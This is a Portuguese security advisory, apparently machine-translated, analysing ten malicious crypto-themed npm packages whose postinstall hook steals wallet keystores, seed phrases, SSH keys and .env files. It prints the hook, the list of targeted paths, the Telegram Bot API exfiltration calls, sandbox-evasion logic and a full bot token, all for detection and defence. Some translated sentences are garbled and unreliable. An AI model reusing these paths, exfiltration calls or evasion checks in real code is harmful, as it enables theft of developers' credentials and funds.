SeedSweep: Dez pacotes criptográficos maliciosos do npm

SeedSweep: Dez pacotes npm com temática criptográfica que só são executados quando ninguém está olhando.

TL, DR

Em 9 de junho de 2026, uma única conta de editor npm, aicrypto-xzggg, enviado dez pacotes com nomes que remetem a criptomoedas e à Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9e mais seis.

Cada pacote executa a mesma carga útil de um postinstall hook. Na instalação, ele verifica se está sendo executado dentro de CI ou em um sandbox — caso contrário, ele lê os keystores da carteira, os arquivos de frase mnemônica, as chaves SSH e .env O sistema coleta arquivos de seis ecossistemas blockchain diferentes e os transmite para um bot do Telegram.

O único indicador que um defensor pode procurar imediatamente é o ID do bot do Telegram. 8227918239.

Gravidade: crítico — roubo direto de chaves de assinatura e frases de recuperação de estações de trabalho de desenvolvedor.

O Ataque: Como Funciona

Os pacotes se anunciam como utilitários para desenvolvedores de blockchain. package.json é minimalista e direciona o ciclo de vida da instalação para um script:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js É uma camada de ajuste de uma linha que carrega a carga útil real: require(“../src/index.js”). Porque pós-instalação é executado automaticamente durante npm installNão é necessário que o desenvolvedor importe nenhum código — basta adicionar o pacote à árvore de dependências para executá-lo.

A cadeia de morte interna src/index.js são quatro etapas:

  1. Verificação ambiental. Uma função de guarda decide se o host se comporta como um agente de compilação ou como um ambiente de análise isolado.
  2. Atraso A execução é adiada por trás de um setTimeout de aproximadamente 7.4 segundos.
  3. Coleção. É percorrida uma lista fixa de caminhos de arquivos de carteira, chave e segredo; os arquivos existentes são enfileirados.
  4. Exfiltração. Os arquivos em fila são enviados para um bot do Telegram, precedidos por uma mensagem de resumo.

A lista de alvos da coleta abrange seis cadeias, além de segredos genéricos de desenvolvedores. (Texto resumido:)

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Vinte e um caminhos no total. Entradas de diretório como ~/.ethereum/keystore são expandidos e cada arquivo dentro deles é enfileirado. A exfiltração usa a API do Telegram Bot diretamente — um enviar mensagem chamada com um host e resumo do arquivo, depois um enviarDocumento Envio multipart para cada arquivo:

texto

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

A mensagem de resumo que o código monta começa com a string literal LADRÃO DE CRIPTOMOEDAS, seguido pelo nome do host, nome de usuário, nome do pacote de origem, contagem de arquivos e carimbo de data/hora.

O que há de novo aqui?

O diferencial não está no mecanismo de roubo — exfiltração baseada no Telegram a partir do npm pós-instalação hooks É bastante conhecido. É o portão de execução. Antes de executar qualquer ação, o payload chama uma função que retorna verdadeiro quando o host se assemelha a um executor de CI ou sandbox, e retorna imediatamente quando isso ocorre:

texto

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

A expressão regular do ID do contêiner é a cláusula notável: um nome de host de 12 caracteres hexadecimais é o formato padrão que o Docker atribui a um contêiner. recipienteAssim, a carga útil interpreta "meu nome de host parece um contêiner Docker" como um motivo para permanecer inativa. Combinado com o atraso de sete segundos, o projeto prioriza a execução na estação de trabalho real do desenvolvedor e permanece silencioso em qualquer lugar que pareça ser uma análise automatizada. Esse mecanismo de controle foi o que suprimiu os sinais de análise dinâmica e manteve o fluxo de exfiltração estático como a principal evidência de condenação.

Timeline

Data (UTC) Evento
2026-06-09 ~02:48 Primeiros pacotes no cluster sinalizados na publicação (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Membros com versões superiores sinalizados (ethereum-kit-9 aos 1.25.36, wallet-sdk-9 às 3.7.73hXNUMX)
2026-06-09 ~03:58–03:59 Membros finais sinalizados (defi-tools-39 aos 4.26.29, swap-sdk-87 aos 4.63.78, farming-tools-12 às 4.68.54hXNUMX)
2026-06-09 Todos os dez foram classificados como maliciosos e denunciados para remoção do registro.

Todos os dez apareceram em cerca de setenta minutos, o que está de acordo com uma única publicação roteirizada de uma única conta.

Indicadores de compromisso

Indicadores de rede e comportamentais (host desarmado):

Indicador Valor
Ponto final de exfiltração api[.]telegram[.]org (API de bot do Telegram)
ID do bot do Telegram 8227918239
Token do bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID do chat do Telegram 6433587894
Instalar gancho postinstallscripts/postinstall.jssrc/index.js
Corda marcadora CRYPTO STEALER na mensagem de resumo montada
Publisher aicrypto-xzggg (e-mail declarado) vipsyria88@gmail[.]com, não verificado)

Pacotes e versões, cada um com o SHA-256 de seu src/index.js carga útil (as cargas úteis são funcionalmente idênticas e diferem apenas no rótulo do nome do pacote incorporado, portanto, cada hash é distinto):

html
Pacote Versão SHA-256 de src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Uma consulta de busca simples: pesquise nos logs de instalação e nos arquivos de bloqueio por qualquer um dos dez nomes e procure no tráfego de saída por conexões com a API do Telegram Bot a partir de hosts de compilação ou de desenvolvimento que não a utilizam de outra forma.

Atribuição e comportamento observado

Todos os dez pacotes foram publicados por uma única conta. aicrypto-xzggg, cujo endereço de e-mail declarado é vipsyria88@gmail[.]comTanto o e-mail quanto o link de controle de versão não foram verificados nos metadados do registro, e a conta possui uma reputação extremamente negativa. Não confirmamos quem opera a conta.

Dois detalhes merecem ser separados de qualquer alegação de identidade. Primeiro, o package.json autor campo lê Alex Smith em cada pacote, enquanto a conta de publicação real é aicrypto-xzgggO campo do autor é um metadado autodeclarado e não estabelece a autoria. Em segundo lugar, os números de versão variam bastante — alguns membros estão em 1.0.0, outros em 4.68.54 — o que é consistente com a reutilização de uma única carga útil em nomes de pacotes recém-criados, em vez de manter históricos de lançamentos reais.

O comportamento é uniforme em todo o cluster: a mesma lista de caminhos de destino, o mesmo ID do bot do Telegram e ID do chat, o mesmo gate de ambiente, o mesmo LADRÃO DE CRIPTOMOEDAS marcador. Essa uniformidade é o elo mais forte entre os pacotes. É um sinal do mesmo operador, não uma identidade.

A exposição é concreta. Um desenvolvedor que instala qualquer um desses pacotes em uma estação de trabalho que contenha uma carteira de software, um arquivo de frase mnemônica ou uma chave SSH tem esses arquivos lidos e transmitidos para fora do host em segundos. Frases de recuperação e chaves de assinatura não expiram da mesma forma que um token de sessão; uma vez que um token de sessão é criado, ele é transmitido para o servidor. mnemônico.txt ou uma Solana id.json Ao sair da máquina, os fundos que ela controla ficam em risco até serem transferidos. A mesma execução também captura .env arquivos, que normalmente contêm chaves de API e credenciais de banco de dados.

Duas tendências estão por trás desse agrupamento. A primeira é o uso contínuo de nomes com temas de criptografia e Web3 para atrair um público específico — desenvolvedores que mantêm carteiras e chaves na mesma máquina em que instalam as dependências. A segunda é o aprimoramento da evasão de sandbox em payloads de instalação. Um mecanismo que verifica variáveis ​​de ambiente de CI, nomes de usuário do executor e o formato do nome do host do contêiner Docker é um esforço deliberado para se comportar de maneira diferente sob análise do que em uma estação de trabalho real, e eleva o nível de exigência para detecção puramente dinâmica.

Para defensores:

Instale com os scripts desativados por padrão. npm install --ignore-scripts, ou definir ignore-scripts=true in .npmrc, evita pós-instalação Execução; habilite os scripts apenas para as dependências específicas que realmente precisam deles.

Mantenha as carteiras e as chaves de assinatura fora das máquinas de compilação e desenvolvimento. Use uma carteira de hardware ou um host de assinatura dedicado e independente.

Tratar .env, keystores e arquivos de frase-semente como joias da coroa. Eles nunca devem ficar em um diretório que também seja um npm install árvore de trabalho.

Procure por conexões de saída para a API do Telegram Bot a partir dos hosts de CI e de desenvolvimento. A maioria dos ambientes de compilação nunca a acessa; se uma conexão surgir repentinamente, logo após a instalação, vale a pena investigar.

Fixar e revisar dependências. Um pacote totalmente novo com um nome criptográfico genérico, um pós-instalação gancho, e nenhum link de repositório justifica uma verificação antes de entrar em um arquivo de bloqueio.

A cláusula de evasão do ID do contêiner também serve como um lembrete para os analistas: uma carga útil de instalação que permanece inativa em um ambiente isolado não é benigna, mas sim seletiva. A análise estática do caminho de instalação continua sendo a maneira confiável de verificar o que a execução dinâmica pode optar por não exibir.

Referências

Documentação do npm install — scripts de ciclo de vida e –Ignore-scripts— referência para desativar a instalação automática hooks. 

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni